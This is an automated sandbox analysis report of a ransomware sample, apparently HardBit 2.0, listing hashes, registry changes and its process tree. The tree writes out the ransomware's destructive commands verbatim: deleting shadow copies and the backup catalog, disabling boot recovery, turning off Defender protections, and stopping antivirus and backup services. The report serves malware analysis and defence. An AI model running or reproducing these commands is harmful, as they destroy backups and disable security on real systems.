Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
28/02/2023, 20:04
230228-ytdzksch89 1004/02/2023, 22:36
230204-2jls8aeh82 1004/02/2023, 22:32
230204-2gdptseh74 1004/02/2023, 22:30
230204-2es2qseh68 1004/02/2023, 22:15
230204-16lw3aab7v 1028/12/2022, 14:55
221228-saetwadg2x 10Analysis
-
max time kernel
969s -
max time network
972s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
04/02/2023, 22:32
Static task
static1
Behavioral task
behavioral1
Sample
a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
Resource
win10v2004-20220812-en
General
-
Target
a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe
-
Size
333KB
-
MD5
3191feae778309eb99df4e4e25c62f1a
-
SHA1
d639821e3fbbb15e14b46aed5b98568e3ce045c3
-
SHA256
a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992
-
SHA512
c8d8734bb1d6e413d8b14e73952a4eb42fd5641ca49822db66f87ea7f0c1fb4c2a38232a652a11ca1c3c5564a517a2aaef8fb59fadff36a11afcce60e5d89798
-
SSDEEP
6144:P1S1JwNbEKcwwZTz2fYNR5OyxyM6qy9iJ4zv5fmRw9aC1oPtYdeAS9aqbGqeBD:9So4KcZbRwyxmf9iWhuw9aCqPtYMH9zs
Malware Config
Extracted
C:\Users\Admin\Favorites\Links\How To Restore Your Files.txt
Extracted
C:\Users\Admin\AppData\Local\Temp\readme-warning.hta
https://tox.chat/
Signatures
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\ResizeRepair.tiff a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation lsm.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe -
Executes dropped EXE 1 IoCs
pid Process 8924 lsm.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Documents\\hrdb.ico" a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\HARDBIT.jpg" a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe -
Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4092 sc.exe 9152 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\.hardbit2 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\.hardbit2\ a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\.hardbit2\DefaultIcon a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\.hardbit2\DefaultIcon\ = "C:\\Users\\Admin\\Documents\\hrdb.ico" a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3772 powershell.exe 3772 powershell.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4824 WMIC.exe Token: SeSecurityPrivilege 4824 WMIC.exe Token: SeTakeOwnershipPrivilege 4824 WMIC.exe Token: SeLoadDriverPrivilege 4824 WMIC.exe Token: SeSystemProfilePrivilege 4824 WMIC.exe Token: SeSystemtimePrivilege 4824 WMIC.exe Token: SeProfSingleProcessPrivilege 4824 WMIC.exe Token: SeIncBasePriorityPrivilege 4824 WMIC.exe Token: SeCreatePagefilePrivilege 4824 WMIC.exe Token: SeBackupPrivilege 4824 WMIC.exe Token: SeRestorePrivilege 4824 WMIC.exe Token: SeShutdownPrivilege 4824 WMIC.exe Token: SeDebugPrivilege 4824 WMIC.exe Token: SeSystemEnvironmentPrivilege 4824 WMIC.exe Token: SeRemoteShutdownPrivilege 4824 WMIC.exe Token: SeUndockPrivilege 4824 WMIC.exe Token: SeManageVolumePrivilege 4824 WMIC.exe Token: 33 4824 WMIC.exe Token: 34 4824 WMIC.exe Token: 35 4824 WMIC.exe Token: 36 4824 WMIC.exe Token: SeIncreaseQuotaPrivilege 4824 WMIC.exe Token: SeSecurityPrivilege 4824 WMIC.exe Token: SeTakeOwnershipPrivilege 4824 WMIC.exe Token: SeLoadDriverPrivilege 4824 WMIC.exe Token: SeSystemProfilePrivilege 4824 WMIC.exe Token: SeSystemtimePrivilege 4824 WMIC.exe Token: SeProfSingleProcessPrivilege 4824 WMIC.exe Token: SeIncBasePriorityPrivilege 4824 WMIC.exe Token: SeCreatePagefilePrivilege 4824 WMIC.exe Token: SeBackupPrivilege 4824 WMIC.exe Token: SeRestorePrivilege 4824 WMIC.exe Token: SeShutdownPrivilege 4824 WMIC.exe Token: SeDebugPrivilege 4824 WMIC.exe Token: SeSystemEnvironmentPrivilege 4824 WMIC.exe Token: SeRemoteShutdownPrivilege 4824 WMIC.exe Token: SeUndockPrivilege 4824 WMIC.exe Token: SeManageVolumePrivilege 4824 WMIC.exe Token: 33 4824 WMIC.exe Token: 34 4824 WMIC.exe Token: 35 4824 WMIC.exe Token: 36 4824 WMIC.exe Token: SeDebugPrivilege 3772 powershell.exe Token: SeDebugPrivilege 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe Token: SeIncreaseQuotaPrivilege 3760 WMIC.exe Token: SeSecurityPrivilege 3760 WMIC.exe Token: SeTakeOwnershipPrivilege 3760 WMIC.exe Token: SeLoadDriverPrivilege 3760 WMIC.exe Token: SeSystemProfilePrivilege 3760 WMIC.exe Token: SeSystemtimePrivilege 3760 WMIC.exe Token: SeProfSingleProcessPrivilege 3760 WMIC.exe Token: SeIncBasePriorityPrivilege 3760 WMIC.exe Token: SeCreatePagefilePrivilege 3760 WMIC.exe Token: SeBackupPrivilege 3760 WMIC.exe Token: SeRestorePrivilege 3760 WMIC.exe Token: SeShutdownPrivilege 3760 WMIC.exe Token: SeDebugPrivilege 3760 WMIC.exe Token: SeSystemEnvironmentPrivilege 3760 WMIC.exe Token: SeRemoteShutdownPrivilege 3760 WMIC.exe Token: SeUndockPrivilege 3760 WMIC.exe Token: SeManageVolumePrivilege 3760 WMIC.exe Token: 33 3760 WMIC.exe Token: 34 3760 WMIC.exe Token: 35 3760 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1368 wrote to memory of 2624 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 83 PID 1368 wrote to memory of 2624 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 83 PID 1368 wrote to memory of 2624 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 83 PID 2624 wrote to memory of 4092 2624 cmd.exe 85 PID 2624 wrote to memory of 4092 2624 cmd.exe 85 PID 2624 wrote to memory of 4092 2624 cmd.exe 85 PID 1368 wrote to memory of 112 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 86 PID 1368 wrote to memory of 112 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 86 PID 1368 wrote to memory of 112 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 86 PID 1368 wrote to memory of 1444 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 88 PID 1368 wrote to memory of 1444 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 88 PID 1368 wrote to memory of 1444 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 88 PID 1444 wrote to memory of 4824 1444 cmd.exe 90 PID 1444 wrote to memory of 4824 1444 cmd.exe 90 PID 1444 wrote to memory of 4824 1444 cmd.exe 90 PID 1368 wrote to memory of 3484 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 92 PID 1368 wrote to memory of 3484 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 92 PID 1368 wrote to memory of 3484 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 92 PID 1368 wrote to memory of 3772 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 94 PID 1368 wrote to memory of 3772 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 94 PID 1368 wrote to memory of 3772 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 94 PID 1368 wrote to memory of 5080 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 96 PID 1368 wrote to memory of 5080 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 96 PID 1368 wrote to memory of 5080 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 96 PID 1368 wrote to memory of 3108 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 97 PID 1368 wrote to memory of 3108 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 97 PID 1368 wrote to memory of 3108 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 97 PID 1368 wrote to memory of 3584 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 99 PID 1368 wrote to memory of 3584 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 99 PID 1368 wrote to memory of 3584 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 99 PID 1368 wrote to memory of 1576 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 100 PID 1368 wrote to memory of 1576 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 100 PID 1368 wrote to memory of 1576 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 100 PID 1368 wrote to memory of 2420 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 104 PID 1368 wrote to memory of 2420 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 104 PID 1368 wrote to memory of 2420 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 104 PID 1368 wrote to memory of 3188 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 102 PID 1368 wrote to memory of 3188 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 102 PID 1368 wrote to memory of 3188 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 102 PID 1368 wrote to memory of 2880 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 105 PID 1368 wrote to memory of 2880 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 105 PID 1368 wrote to memory of 2880 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 105 PID 1368 wrote to memory of 4316 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 108 PID 1368 wrote to memory of 4316 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 108 PID 1368 wrote to memory of 4316 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 108 PID 5080 wrote to memory of 4792 5080 net.exe 112 PID 5080 wrote to memory of 4792 5080 net.exe 112 PID 5080 wrote to memory of 4792 5080 net.exe 112 PID 1368 wrote to memory of 8 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 110 PID 1368 wrote to memory of 8 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 110 PID 1368 wrote to memory of 8 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 110 PID 1368 wrote to memory of 4820 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 159 PID 1368 wrote to memory of 4820 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 159 PID 1368 wrote to memory of 4820 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 159 PID 1368 wrote to memory of 1224 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 158 PID 1368 wrote to memory of 1224 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 158 PID 1368 wrote to memory of 1224 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 158 PID 3584 wrote to memory of 3740 3584 net.exe 114 PID 3584 wrote to memory of 3740 3584 net.exe 114 PID 3584 wrote to memory of 3740 3584 net.exe 114 PID 3108 wrote to memory of 1624 3108 net.exe 156 PID 3108 wrote to memory of 1624 3108 net.exe 156 PID 3108 wrote to memory of 1624 3108 net.exe 156 PID 1368 wrote to memory of 1724 1368 a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe 127
Processes
-
C:\Users\Admin\AppData\Local\Temp\a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe"C:\Users\Admin\AppData\Local\Temp\a0138b24593483f50ae7656985b6d6cfe77f7676ba374026199ad49ad26f2992.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies extensions of user files
- Checks computer location settings
- Drops startup file
- Windows security modification
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C sc delete VSS2⤵
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\SysWOW64\sc.exesc delete VSS3⤵
- Launches sc.exe
PID:4092
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet2⤵PID:112
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete2⤵
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4824
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no2⤵PID:3484
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3772
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop avpsus /y2⤵
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop avpsus /y3⤵PID:4792
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeDLPAgentService /y2⤵
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y3⤵PID:1624
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop mfewc /y2⤵
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfewc /y3⤵PID:3740
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FCS /y4⤵PID:7808
-
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BMR Boot Service /y2⤵PID:1576
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y3⤵PID:1816
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop DefWatch /y2⤵PID:3188
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DefWatch /y3⤵PID:1896
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y4⤵PID:8348
-
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y2⤵PID:2420
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y3⤵PID:2484
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 DefWatch4⤵PID:8204
-
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ccEvtMgr /y2⤵PID:2880
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y3⤵PID:4860
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop ccSetMgr /y2⤵PID:4316
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y3⤵PID:4528
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" top SavRoam /y2⤵PID:8
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 top SavRoam /y3⤵PID:4804
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop YooBackup /y2⤵PID:1380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooBackup /y3⤵PID:4216
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBFCService /y4⤵PID:8048
-
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:4388
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵PID:2416
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y2⤵PID:2008
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y3⤵PID:4972
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop svc$ /y4⤵PID:8112
-
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBIDPService /y2⤵PID:1724
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBIDPService /y3⤵PID:4380
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop YooIT /y2⤵PID:3948
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooIT /y3⤵PID:4436
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop zhudongfangyu /y2⤵PID:928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y3⤵PID:3852
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:4888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵PID:448
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop veeam /y2⤵PID:2640
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop veeam /y3⤵PID:1016
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploymentService /y2⤵PID:2296
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y3⤵PID:3636
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamTransportSvc /y2⤵PID:4596
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y3⤵PID:764
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop VSNAPVSS /y2⤵PID:4240
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y3⤵PID:4836
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop PDVFSService /y2⤵PID:3352
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵PID:3512
-
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop stc_raw_agent /y2⤵PID:4120
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop QBFCService /y2⤵PID:1224
-
-
C:\Windows\SysWOW64\net.exe"net.exe" stop RTVscan /y2⤵PID:4820
-
-
